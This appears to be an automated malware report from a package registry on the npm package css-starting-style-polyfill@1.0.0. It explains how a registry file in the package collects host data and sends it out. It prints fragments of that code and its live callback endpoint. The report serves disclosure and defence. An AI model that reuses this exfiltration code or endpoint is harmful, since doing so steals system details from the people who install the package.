registry / Data exfiltration / css-starting-style-polyfill
css-starting-style-polyfill
Polyfill for CSS @starting-style rule
This report shows the evidence for css-starting-style-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source establishes automatic system reconnaissance and data exfiltration unrelated to CSS polyfill functionality. The registry payload is executable on load, despite the absence of installation hooks and the empty default entrypoint.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer loads thunderboltRegistry.js directly or through the registry manifest.
Impact
Discloses system identity, network configuration, hostname and /etc/hosts contents when the required runtime capabilities are available.
Mechanism
A top-level function executes shell commands and sends their output using fetch to a fixed external endpoint; it also sends runtime metadata.
Attack narrative
The package ships a registry implementation whose top-level function executes reconnaissance commands and forwards results to a fixed external recipient. Its registry manifest points consumers to that implementation. Execution requires loading the registry file, and shell collection requires child_process; transmission requires fetch. The empty default entrypoint limits activation but does not neutralize the active exfiltration behavior in the advertised registry file.
AI rationale
Inspected source establishes automatic system reconnaissance and data exfiltration unrelated to CSS polyfill functionality. The registry payload is executable on load, despite the absence of installation hooks and the empty default entrypoint.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The registry file sends collected information and the hostname to a fixed unrelated HTTPS endpoint.
- Loading the registry file executes a system identity command and forwards its output.
- The registry file reads /etc/hosts through a shell command and forwards its contents.
- The shipped registry manifest directs registry consumers to the executable registry file.
- A top-level invocation sends runtime version, platform, process identifier and timestamp without opt-in.
Evidence against
- The default index.js entrypoint exports an empty object.
- package.json defines no installation lifecycle scripts.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "https://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-light-dark-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 6a67e904f4511d83
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-light-dark-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-starting-style-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-starting-style-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.